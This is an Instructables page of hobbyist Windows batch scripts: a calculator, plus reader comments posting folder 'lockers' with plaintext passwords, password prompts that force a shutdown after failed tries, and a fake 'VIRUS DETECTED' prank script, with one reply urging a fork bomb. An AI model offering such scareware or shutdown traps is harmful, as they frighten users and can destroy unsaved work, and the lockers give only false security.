Some Cool Batch Applications

 by Sejma
cmdbatchpic.bmp
lets get busy.bmp
This is my first instructable so no complaining!
I'd like to thank neodudeman for his instructables, they helped a lot.

In this instructable i will show you some pretty nifty applications with batch commands.

If you have any problems or changes to request just send me an e-mail at jbell@live.co.za
Leave any feedback in the comment section below.
 
Remove these adsRemove these ads by Signing Up

Step 1: Batch Calculator

cmdcalc.bmp
This is...well... a calculator.
just copy and paste into NOTEPAD and save as calculator.bat
the filename is not important but the extension MUST be saved as " .bat "

@echo off
title Batch Calculator by seJma
color 1f
:top
echo --------------------------------------------------------------
echo Welcome to Batch Calculator by seJma
echo --------------------------------------------------------------
echo.
set /p sum=
set /a ans=%sum%
echo.
echo = %ans%
echo --------------------------------------------------------------
pause
cls
echo Previous Answer: %ans%
goto top
pause
exit
Wookie123 says: Apr 3, 2013. 1:58 PM
Free maintenance batch for Windows, just uses utilities built into windows 7 and 8, with 1-click action. Has an installer though. Cleans, defrags, disk checks, updates, checks for malware...etc. User is free to edit it for personal use, make it better...etc :)

OnceOver Maintenance Batch
www.freeOMB.com
X_STOP_X says: Mar 28, 2013. 12:50 PM
this is a folder lock that does hide the folder
cls
@ECHO OFF
title Folder Confidential
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Confidential goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Confidential "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter the Password to unlock folder
set/p "pass=>"
if NOT %pass%== Passwords are hard to crack goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Confidential
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md confidential
echo Confidential created successfully
goto End
:End
g3lrod says: Mar 21, 2013. 1:06 PM
Put this in for a nice little password protect:

Set /a try=0

:begin
set /a try=%try%+1
If %try%==4 GOTO die
Echo Enter your password:
Echo.
Set /p pass="-->"

If %pass%==**PASSWORD** GOTO correct
GOTO begin

:die
Echo Too many incorrect tries
rem (Put some form of punishment here)

:correct

rem Your main code
STEDZ says: Mar 7, 2013. 9:23 AM
@Win7Maniacwhat do you mean by "this sets off the internal alarm in XP and maybe Vista" and what's an"internal alarm"?
g3lrod in reply to STEDZMar 21, 2013. 12:59 PM
I believe that is the motherboard beeper.
emuman4evr says: Apr 14, 2009. 8:03 PM
Anyone know the command that saves a list of all the files on a hard drive? I want it to basically save the hdd's file tree as a .txt document with the name of the computer and the date in the filename.
Prof. Pickle in reply to emuman4evrDec 19, 2012. 8:00 PM
This should work:

TREE C:\ > "Tree.txt"

Then you can either find the file and open it or type in:

START Tree.txt

And then you can either find the file and copy it's contents and then delete it manually OR:

DEL Tree.txt

All of that should work
samkai says: Jan 5, 2011. 5:15 AM
how do you times, plus, and all that?
Prof. Pickle in reply to samkaiDec 19, 2012. 7:55 PM
The operators in batch scripts are the following:

+ Addition
- Subtration
* Multiplication
/ Division
% Modulus (use %% in batch scripts)
>> and & Bitwise operators
() Grouping
! ~ Unary operators
= *= /= %= += -= &= ^= |= <<= >>= assignment

For more information type "SET /?" in your command prompt.
K'nexFanatiFreek says: Apr 10, 2012. 5:23 AM
@Sejma if you want to carry a message through you must first put echo before it or else cmd will recognize it as an automated command input and you will get a crapload of errors. it will say:

"put message here" is not recognized as an internal or external command or a batch file.

just a little warning for the future
Prof. Pickle in reply to K'nexFanatiFreekDec 19, 2012. 7:50 PM
Really? Come on? Did you even look at the code?
rockin4459 says: Aug 11, 2012. 9:11 PM
I found this nifty batch file that when initially run will create a folder called locker in the same directory as the batch file. put files you want to hide in it and then run the batch file again and it will change it to a control panel shortcut that normally will not be seen unless you have your hidden files unhidden. even then to click it would take you to the control panel. It used to be named Locker.bat, but i renamed it to Systems to deter people from running it. Once you have changed yourpasswordhere to the password you want go get Bat_To_Exe from http://www.f2ko.de/programs.php?lang=en&pid=b2e so that your password can't be discovered. Enjoy

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto
UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the system (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo system locked
goto End
:UNLOCK
echo Enter password
set/p "pass=>"
if NOT %pass%==yourpasswordhere goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo system Unlocked successfully
goto End
:FAIL
echo Invalid password
goto UNLOCK
:MDLOCKER
md Locker
echo system created successfully
goto End
:End
WOKANDWAL in reply to rockin4459Oct 28, 2012. 10:08 PM
The .bat to .exe converter on http://www.f2ko.de/programs.php?lang=en&pid=b2e hides trojans in the .exe that it makes!!!

DO NOT USE IT!!
Prof. Pickle in reply to WOKANDWALDec 19, 2012. 7:46 PM
I hear you saying that a lot, what is your proof?
el-xavi26 says: Oct 27, 2012. 4:17 PM
Hey I have seen you have a lot of knowledge in batching. Can you please explain how to add points(numbers) to a amount of points
Prof. Pickle in reply to el-xavi26Dec 18, 2012. 9:50 PM
What do you mean by this? Are you asking how to add to a pre-existing variable?
Because you used the term "points" I think you are talking about a game.
That would mean that you must add to a variable if (big hint) a certain condition is met.

So:
IF %win% equ 1 set points=%points%+1


That will make the variable "points" go up by one if the variable win is set to one.

Obviously, I didn't have much to go on, but you can use that as a template if you want.
el-xavi26 says: Sep 8, 2012. 1:24 PM
can somebody explain me how to use the set command im really confused
PLEASE ANSWER!!!
Prof. Pickle in reply to el-xavi26Dec 14, 2012. 11:13 PM
The SET command is one of the most complex commands in batch scripting (other than FOR). Basically, there are three main "versions" of it.

Version one: Just the normal "SET" command, by itself.
When the SET command is by itself, it creates a variable with the value of what you set it as originally. 
Example: SET Variable=Value
To call an all ready call an all ready defined variable, enclose it in percent signs.
Example: ECHO %Variable%
This code would return "Value" onto the screen.

 Version two:The A switch.
The A parameter in the SET command stands for "Algorithm". When it is added, you can use math in a variable.
Example: SET /A Addition=1+1
This would set "Addition" to the value of 2, rather than "1+1" if the A switch was left out.
You can also use this with variables.
Example:
SET Number1=5
SET Number2=15
SET /A Number3=%Number2% / %Number3%

This code will set Number3 as 3, because 15 divided by 5 is 3.

Version three:The P switch.
When the P switch is added to the SET command, it allows a variable to be user-defined.
Example: SET /P User_Defined_Variable=Prompt String: 
This would display "Prompt String", and wait until you enter a value.

There are many other ways to use the SET command, but these are just a few.

Enter the code: "SET /?" in your command prompt for more detailed answers.
sda coba says: Nov 29, 2012. 7:33 AM
This batch should hide the folder and put a password to it. But it doesn't function very well, the folder does hide, but you can put any password and the folder will appear anyway.
What i want to do is to combine the Folder Protector code with the one that hides the folder.. Could someone help me?
I need it so i can hide my games at work haha
Im from Buenos Aires, Argentina

Thanks


Code:

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End


angusPROD says: Aug 19, 2012. 10:54 AM
its a secure password system that you enter digit by digit
The abort code and password is 1335
Abort code is typed all in one go

***************************
@echo off
title Secure Password
:passeword
Echo password required
set /p CH=
if "%CH%"=="1" goto 1perfect
if not "%CH%"=="1" goto wrong1
:wrong1
Echo wrong
ECho 2 attempts remaining
pause
goto passeword1
:1perfect
Echo Next
set /p QP=
if "%QP%"=="3" goto 3perfect
if not "%QP%"=="3" goto wrong1
:3perfect
Echo next
set /p AD=
If "%AD%"=="3" goto 5perfect
if not "%AD%"=="3" goto wrong1
:5perfect
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong1
:passeword1
Echo 2 Attempts remaining
Echo password required
set /p CH=
if "%CH%"=="1" goto 1
if not "%CH%"=="1" goto wrong2
:wrong2
Echo wrong
ECho 1 attempt remaining
Echo Failure to get password
Echo will result in a shutdown
pause
goto passeword2
:1
Echo Next
set /p QP=
if "%QP%"=="3" goto 3
if not "%QP%"=="3" goto wrong2
:3
Echo next
set /p AD=
If "%AD%"=="3" goto 5
if not "%AD%"=="3" goto wrong2
:5
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong2
:passeword2
Echo password required
set /p CH=
if "%CH%"=="1" goto 1final
if not "%CH%"=="1" goto wrong3
:wrong3
Echo You have failed to guess the password
ECho You now have 30 seconds to enter the abort code
Echo It is the same as the password
shutdown /s /t 30
Echo **********
set /p SD=
if "%SD%"=="1335" goto abort
if not "%SD%"=="1335" goto end
pause
goto passeword2
:1final
Echo Next
set /p QP=
if "%QP%"=="3" goto 3final
if not "%QP%"=="3" goto wrong3
:3final
Echo next
set /p AD=
If "%AD%"=="3" goto 5final
if not "%AD%"=="3" goto wrong3
:5final
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong3
:complete
Echo You made it this far
Echo 1335
Echo Now enter a directory and its ready
Echo made by angusPROD
pause
exit
:abort
shutdown /a
Echo Shutdown aborted
goto passeword2
:end
Echo Goodbye
pause
Exit
yohi9889 says: Apr 4, 2010. 1:00 PM
Hey, here's my edit to the script it changes the number everytime

:R
@echo off
color 0e
title Guessing Game by seJma
set /a guessnum=0
set /a answer=%RANDOM%
set variable1=surf33
echo -------------------------------------------------
echo Welcome to the Guessing Game!
echo.
echo Try and Guess my Number!
echo -------------------------------------------------
echo.
:bottom
echo.
set /a guessnum=0
set /a answer=%RANDOM%
set variable1=surf33
set /p guess=
echo.
if %guess% GTR %answer% ECHO Lower!
if %guess% LSS %answer% ECHO Higher!
if %guess%==%answer% GOTO EQUAL
set /a guessnum=%guessnum% +1
if %guess%==%variable1% ECHO Found the backdoor hey?, the answer is: %answer%
goto bottom
:equal
echo Congratulations, You guessed right!!!
echo.
echo It took you %guessnum% guesses.
echo.
goto R
jayfin in reply to yohi9889Aug 17, 2012. 10:19 PM
yohi9889 Your batch file looks good but every time I guess a number it changes.
I typed 9999 and it said lower I typed 9999 again but then it said higher. Is there a way to make it that the numbers don't change until I get it? Can you please email me at jfingerer@ymail.com
Bladesofvengence in reply to yohi9889Jul 4, 2012. 7:47 AM
I have a way better version!
WOKANDWAL in reply to BladesofvengenceOct 28, 2012. 10:22 PM
Send it to me in Private Message. I got some pretty good batches as well
electronicz says: May 17, 2012. 4:35 PM
Check out my modified Site Selector. It is a txt file and will have to be saved again as a .bat file.
Bladesofvengence in reply to electroniczJul 4, 2012. 7:41 AM
basic but nice work!
electronicz in reply to BladesofvengenceAug 2, 2012. 3:04 PM
Thanks
markrosher says: Jul 18, 2012. 10:21 PM
@echo off
cls
:Password
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==123 goto NO

:YES

Start C:\
Exit

:NO

echo INCORRECT PASSWORD
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==123 goto NO1

:NO1

Echo INCORRECT PASSWORD
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==23 goto NO2

:NO2

Echo INCORRECT PASSWORD
Pause
Echo Acces danied
Pause
Exit
GillesM95 says: Mar 23, 2010. 1:10 PM
What does cls stand for ?
Sejma (author) in reply to GillesM95Mar 27, 2010. 3:44 AM
Clear Screen, if I'm correct.
K'nexFanatiFreek in reply to SejmaApr 10, 2012. 5:19 AM
yes, it clears it so that just the C:\users\[YOUR NAME HERE]
\in batch files, it wipes the screen completely clean
Bladesofvengence in reply to K'nexFanatiFreekJul 4, 2012. 7:43 AM
Unless you have @echo off which removes the C:\Users\[YOUR NAME HERE]\
Loganeg says: Oct 20, 2009. 6:30 PM
I'm new to batches, and i could spend a lot of time screwing around with it, but is there any way to mix the "Folder Protector" and this "Site Selector" so that you have to enter your password to get into the site selector?

And of course it popped into to my mind (Half way through the first para.) that i can set the ***ENTER FOLDER PATH HERE*** in the file protector to my site selector batch. posting this anyway.

And I hate attracting attention to myself by writing abnormally long comments but kudos to your first (i think) Instructable! good job.
Bladesofvengence in reply to LoganegJul 4, 2012. 7:39 AM
That is pretty basic but have fun and if you figured it out yourself before me, at least i tried. I can do way better stuff.
Bladesofvengence in reply to LoganegJul 4, 2012. 7:35 AM
@echo off
title Password v1.5
color 0a
set /a tries=3
set password=***ENTER YOUR PASSWORD HERE***
:top
echo.
echo ----------------------------------------------
echo.
echo Password
echo.
echo ----------------------------------------------
echo You have %tries% attempts left.
echo Enter password
echo ----------------------------------------------
set /p pass=
if %pass%==%password% (
goto correct
)
set /a tries=%tries -1
if %tries%==0 (
goto penalty
)
cls
goto top
:penalty
echo Sorry, too many incorrect passwords, initiating shutdown.
start shutdown -s -f -t 35 -c "SHUTDOWN INITIATED"
pause
exit
:correct
cls
echo ----------------------------------------------
echo Password Accepted!
echo.
echo Opening Program...
echo ----------------------------------------------
pause
cls
title Site Selector by seJma
:top
echo ***************************************************************
echo.
echo Site Selector
echo.
echo ***************************************************************
echo.
echo Key: [1] Google - Search Engine
echo [2] Hotmail - Mail Server
echo [3] Yahoo - Search Engine/Mail Server
echo [4] Facebook - Social Networking
echo [5] Myspace - Social Networking
echo [6] CNN - News
echo [7] Weather - Weather
echo [8] WikiHow - A How-To Website
echo [9] Instructables - A How-To Website
echo [10] YouTube - Online Videos
echo [11] Answers - Online Encyclopedia
echo [12] Wikipedia - Online Encyclopedia
echo.
echo [e] Exit
echo.
echo ***************************************************************
echo Enter the number of the website which you would like to go to:
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==1 start www.google.com
if %udefine%==2 start www.hotmail.com
if %udefine%==3 start www.yahoo.com
if %udefine%==4 start www.facebook.com
if %udefine%==5 start www.myspace.com
if %udefine%==6 start www.cnn.com
if %udefine%==7 start www.weather.com
if %udefine%==7 start www.wikihow.com
if %udefine%==9 start www.instructables.com
if %udefine%==10 start www.youtube.com
if %udefine%==11 start www.answers.com
if %udefine%==12 start www.wikipedia.com
if %udefine%==e goto exit

cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by seJma
echo.
echo ***************************************************************
echo Type [e] to exit or [b] to go back and select another site.
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==b goto top
if %udefine%==e goto exit
:exit
cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by SEjMA
echo.
echo ***************************************************************
pause
exit
K'nexFanatiFreek in reply to LoganegApr 10, 2012. 5:24 AM
(removed by author or community request)
K'nexFanatiFreek in reply to K'nexFanatiFreekJun 2, 2012. 10:57 PM
Never mind the previous statement. Put a :selector address in your code, put the selector in there and have everything related to it redirect to :selector, then just make a goto command in the action sequence of the password protector.
Sejma (author) in reply to LoganegOct 21, 2009. 11:12 AM
ah yes very good! but if you dont want 2 separate files, what you could also do is insert this code snippet, just under the title, and above :top
***********************************
set /p pass=
if %pass%==YOUR_PASS_HERE (
goto top
) else (
exit
)

***********************************
hope this helps!
kibbleninja says: Dec 10, 2011. 1:24 PM
I turned this into a file selector thanks for these tuts
Win7Maniac says: May 25, 2010. 3:06 PM
Wasn't this taken from TAT?
Sejma (author) in reply to Win7ManiacMay 26, 2010. 8:20 AM
um...go away rude person
do some homework, this is my program, I collaborated with TAT.
Win7Maniac in reply to SejmaMay 26, 2010. 1:04 PM
Sorry, I really like the program, I made some modifications and its awesome!  I am in the process of trying to find the best one of adding itself to startup and deleting the processed lines (so if they restart it will start where it left off).  If you want my code, i have it below: (without the code deletion)

-------------------------------------------------------------------------

@echo off
SetLocal EnableDelayedExpansion
color 0C
title VIRUS DETECTED!!

if "%1" == "xxx" (goto :shutdownstart) else (echo.)

:: Below is 3 symbols for the internal alarm.  If you don't see them, go to command prompt and type:
:: cd %homepath%\Desktop
:: echo CTRL+G (key combo)>>alarmcharacter.bat
:: Edit that batch file, it will have the character.

cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo FIREWALL -
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
ping 1.0.0.0 -n 1 -w 300 >NUL
echo ANTI-VIRUS -
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
echo ANTI-VIRUS - FAILED
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo IP ADDRESS BREACHED!
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo VIRUS ATTAINING:
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
echo ANTI-VIRUS - FAILED
echo -
echo IP ADDRESS BREACHED!
echo -
echo VIRUS ATTAINING: ****-****-****-8894
echo -
ping 1.0.0.0 -n 1 -w 2500 >NUL



cls
echo -
echo SCANNING INFECTED AREAS...
echo -
ping 1.0.0.0 -n 1 -w 800 >NUL
set /a num=0
:repeat1
set /a num=%num% +1
echo %num%
if %num%==87 goto end
goto repeat1
:end


cls
echo -
echo 86.5 PERCENT OF MEMORY INFECTED
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo INFECTION PROGRESSING. . .
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -
echo DELETION OF ENTIRE CONTENTS OF LOCAL DISK C: PART OF MAIN ROUTINE
echo -

ping 1.0.0.0 -n 1 -w 1800 >NUL

echo %cd%>currentdir
Set n=
Set _InputFile=currentdir
For /F "tokens=*" %%I In (%_InputFile%) Do (
Set /a n+=1
Set _var!n!=%%I
)
del currentdir

cls
echo -
echo DELETING HARD-DRIVE C:
echo -
ping 1.0.0.0 -n 1 -w 700 >NUL
cd %homepath%
cd Desktop
dir /b /s
cd %_var1%

ping 1.0.0.0 -n 1 -w 1500 >NUL
cls
echo -
echo CONTENTS OF HARD-DRIVE C: ERASED
echo -

ping 1.0.0.0 -n 1 -w 1500 >NUL
cls
echo -
echo SCANNING...
echo -

set /a num1=0
:repeat2
set /a num1=%num1% +1
echo %num1%
if %num1%==100 goto end1
goto repeat2
:end1
cls
echo -
echo 0.00 PERCENT OF HARD-DRIVE INFECTED
echo -
ping 1.0.0.0 -n 1 -w 1200 >NUL
echo EXITING VIRUS REMOVAL. . .
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -

set /A errorrepeat=0
:errorrepeat
set /A errorrepeat=%errorrepeat%+1
echo ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR
if "%errorrepeat%" == "400" (goto :errorrepeatend) else (goto :errorrepeat)
:errorrepeatend


cls
title FATIL AIR!!
echo ERROR!
ping 1.0.0.0 -n 1 -w 500 >NUL
echo -
echo VISUAL MEMORY LOST!
ping 1.0.0.0 -n 1 -w 1200 >NUL
echo -
echo RAM SEGMENT OVERFLOW ERROR!
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -
echo PROCESSOR FAILING...
echo -
ping 1.0.0.0 -n 1 -w 3500 >NUL

:shutdownstart

echo MsgBox "You have 25 seconds to save any work you have open!!!  Hurry, your computer is shutting down promptly!!!">usermessage1.vbs
echo MsgBox "Hurry, your computer is shutting down promptly!!!">usermessage2.vbs

cls

echo YOU HAVE 25 SECONDS TO SAVE ANY WORK YOU HAVE OPEN!!!
echo HURRY AND SAVE, YOUR COMPUTER IS SHUTTING DOWN PROMPTLY!!!


start usermessage1.vbs
ping 1.0.0.0 -n 1 -w 3500 >NUL
start usermessage2.vbs


ping 1.0.0.0 -n 1 -w 3500 >NUL
del usermessage1.vbs
del usermessage2.vbs
cls
echo 18 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 17 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 16 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 15 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 14 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 13 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 12 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 11 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 10 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 9 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 8 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 7 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 6 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 5 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 4 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 3 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 2 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 1 SECOND REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo SHUTTING DOWN. . .




EndLocal
pause

--------------------------------------------------------------------------

You might want to make sure no one else is around, this sets off the internal alarm in XP and maybe Vista, sets off speaker alarm in Windows 7.  If you dont see the alarm characters (before the 3 Viral Infections!!! and elsewhere) follow the instructions I gave, it should look like:
C:\Users\[USERNAME]\Music>cd %homepath%\Desktop
C:\Users\[USERNAME]\Desktop>echo ^G>>alarmcharacter.bat
in command prompt in Vista and 7 and C:\Documents and Settings\... in XP.
I was debugging, if you start this from command prompt with the parameter xxx, it will go to the shutdown routine.  I did not actually include code to shut it down yet.  Als, the dir command is set to list the desktop, because if you're like me that will take long enough.  Otherwise the user will be tempted to just close it.
Hope you like it,
Ryan
GunzMan in reply to Win7ManiacDec 5, 2011. 7:20 PM
Put a fork bomb in somewhere, too. Otherwise, awesome.
buddysweet in reply to Win7ManiacJun 10, 2010. 11:51 PM
i like ur batch file that u had created if u have surprizing batch files then plz send me
extremeseeker says: Nov 27, 2011. 1:15 PM
Wait,how do you attach the password protector to a file?
vleikvangen says: Oct 1, 2011. 5:11 PM
the look of the menu, its much cooler in the cmd, on this u cant see how it looks kinda cuz of the sice differences, but try this out, copy and paste, but the menu wont work for u guys, (all you can do is doing the password and u can see the menu and shutdown, you cant use the menu cuz then u need alot of other batch files, with the right names as my has, and stuff. so :) but kinda cool yea
vleikvangen says: Oct 1, 2011. 5:07 PM
hehe, i maked my own menu by doing this., and u can make videos like if u have a video in parts, or something like that, and i got alot of stuff. osv.....

@echo off
:Passord
cls
color 01
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 02
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?.. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 03
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?...\\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 04
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls

echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo 3 forsøk
pause >nul

set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Feil
:Feil
cls
echo Incorrect Password!
ping localhost -n 2 >nul
cls
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo 2 forsøk
pause >nul
set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Fail

:Fail
echo Incorrect Password!
ping localhost -n 2 >nul
cls
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Last Try
pause >nul
set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Fuil
:Fuil
goto :Shutdown

:Riktig
cls
echo Correct Password!
ping localhost -n 2 >nul
goto :Start


:Start
cls
color 7
echo ________ _________
echo "| \====================================\ |"
echo "| Main / VL's Menu / Main |"
echo "| Menu \ _________________________ \ Menu |"
echo "| / by Vegard /Pwned menu / |"
echo "|========\====================================\========|"
echo "| VL. / Menu|> Video <|Menu / .VL |"
echo "| VL. \ Menu|> Games <|Menu \ .VL |"
echo "| VL. / Menu|> Soundlist <|Menu / .VL |"
echo "| VL. \ Menu|> Program <|Menu \ .VL |"
echo "| VL. / Menu|> Anti virus<|Menu / .VL |"
echo "| VL. \ Menu|>Secure<|Menu \ .VL |"
echo "| VL. / Menu|>Websites<|Menu / .VL |"
echo "| VL. \ Menu|>Speed up pc<|Menu \ .VL |"
echo "| VL. / Menu|>shutdown<|Menu / .VL |"
echo "|========\====================================\========|"
echo "| VL. / < Refresh > / .VL |"
echo "| VL. \ < Next > \ .VL |"
echo "| VL. / < Song Kesha blow > / .VL |"
echo "|________\====================================\________|"
echo " " Restart " "
echo " " Keyword " "
echo -----------
set /p hey=
if %hey% == video goto :Video
if %hey% == Shutdown goto :Shutdown
if %hey% == games goto :games
if %hey% == sound goto :oound
if %hey% == secure goto :secure
if %hey% == program goto :PRO1
if %hey% == web goto :web
if %hey% == Restart goto :Restart
if %hey% == keyword goto :l
if %hey% == anti goto :1234
:Start
start Menu.bat
exit
:1234
start Anti.lnk
goto :Start
:l
start keywords.bat
pause >nul
:web
start web.bat
goto :Start
:PRO1
Start Program.bat
goto :Start
:secure
start Sikkerhetskopieringavvegard.bat
goto :Start
:oound
start soundlist.bat
goto :Start
:Video
start Video.bat
goto :Start
:Shutdown
shutdown -S -T 6 -C "5 seconds until shutdown"
ping localhost -n 2 >nul
echo 4
ping localhost -n 3 >nul
echo 3
ping localhost -n 2 >nul
echo 2
ping localhost -n 2 >nul
echo 1
ping localhost -n 1 >nul
echo Bye :D
pause>nul
:games
echo so u wann kick ass >(
echo :=
start games.bat
goto :Start
BenSkyhacker11 says: Apr 23, 2011. 7:28 AM
This is kinda cool
shutdown -s -t 30 -c "This is a shutdown Batch File. When it says -s -t 30, that 30 is the number of seconds."
lminhtoo says: Apr 8, 2011. 3:53 AM
if you want it just email me at linmin.htoo@gmail.com
lminhtoo says: Apr 8, 2011. 3:52 AM
hey do any of you guys want a batch file that uses other batch files to open a certain website you entered in your choice of web browser? Its quite crack proof unless you are a pro....
neardood says: Feb 20, 2009. 6:49 PM
that folder protect thing doesn't work it just flashes something and disappears when u press enter
radicalhacker in reply to neardoodJan 4, 2010. 6:31 AM
Oh it works but not this one. The source code is messing a command: @echo off

set key=radicalhacker
set key=pass
set key=pass



title ::
color 0a
echo                 Welcome to Radical Hacker's Research Laboratory Data-Base.
echo.
echo.
echo         The acces of these files is restrictet to: (1) user's.
echo         If you have no autorization please close this windows inmediatly.
echo.
echo.
echo     WARNING! DO NOT try to crack this files.
echo          Any intent of cracking this files will delete them.
echo.
echo.
echo.  
echo      Please enter username.
set/p "pass= >"
echo.
echo      Please enter first part of ID-CODE.
set/p "pass= >"
echo.
echo      Please enter secund part of ID-CODE.
set/p "pass= >"
if %pass%==%key% goto UnPack
cls
color 0c
echo.
echo    ACCES DENIED!
echo.
